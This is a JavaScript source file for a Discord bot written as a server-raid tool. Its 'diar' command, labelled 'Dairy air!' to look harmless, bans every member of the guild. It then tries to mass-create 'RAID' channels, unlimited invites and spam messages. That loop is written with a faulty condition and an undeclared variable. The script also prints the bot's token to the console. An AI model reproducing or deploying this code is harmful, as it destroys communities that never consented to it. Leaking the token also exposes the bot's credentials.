75 lines
2.3 KiB
JavaScript
75 lines
2.3 KiB
JavaScript
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import { REST, Routes, Client, GatewayIntentBits } from 'discord.js';
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const TOKEN = process.argv[2]
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const CLIENT_ID = process.argv[3]
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const commands = [
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{
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name: 'ping',
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description: 'Replies with Pong!',
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},
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{
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name: 'diar',
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description: 'Dairy air!',
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},
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];
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const client = new Client({ intents: [GatewayIntentBits.Guilds, GatewayIntentBits.GuildMembers, GatewayIntentBits.GuildInvites] });
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const rest = new REST({ version: '10' }).setToken(TOKEN);
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function randInt(min, max) {
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return Math.floor(Math.random() * (max - min) + min);
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}
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try {
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console.log('Started refreshing application (/) commands.');
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await rest.put(Routes.applicationCommands(CLIENT_ID), { body: commands });
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console.log('Successfully reloaded application (/) commands.');
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} catch (error) {
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console.error(error);
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}
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client.on('ready', () => {
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console.log(`Logged in as ${client.user.tag}!`);
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});
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client.on('interactionCreate', async interaction => {
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if (!interaction.isChatInputCommand()) return;
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if (interaction.commandName === 'ping') {
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await interaction.reply('Pong!');
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} else if (interaction.commandName === 'diar') {
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await interaction.user.createDM("Starting raid NOW...")
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let guild = interaction.channel.guild
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for (const member of guild.members.cache.values()) {
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try {
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await member.ban();
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console.log(`${member.user.tag} has been banned.`);
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} catch (error) {
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console.warn(`Failed to ban ${member.user.tag}:`, error);
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}
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}
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for (i = 0; i <= 100000, i++;) {
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guild.channels.create({ name: `RAID-${i}`, reason: 'COOL CHANNEL IS COOL' })
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.then(console.log)
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.catch(console.error);
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interaction.channel.createInvite({
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maxAge: 0, // Invite never expires (adjust as needed)
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maxUses: 0, // Unlimited uses (adjust as needed)
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}).then(console.log).catch(console.warn)
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try {
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interaction.channel.send(`# RAID
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This is a raid! Everybody get down!`)
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} catch {
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console.warn("Error sending raid msg! (Timeout?)")
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}
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await new Promise(r => setTimeout(r, randInt(500,6200)));
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}
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}
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});
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console.log(`${TOKEN}`)
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client.login(TOKEN);
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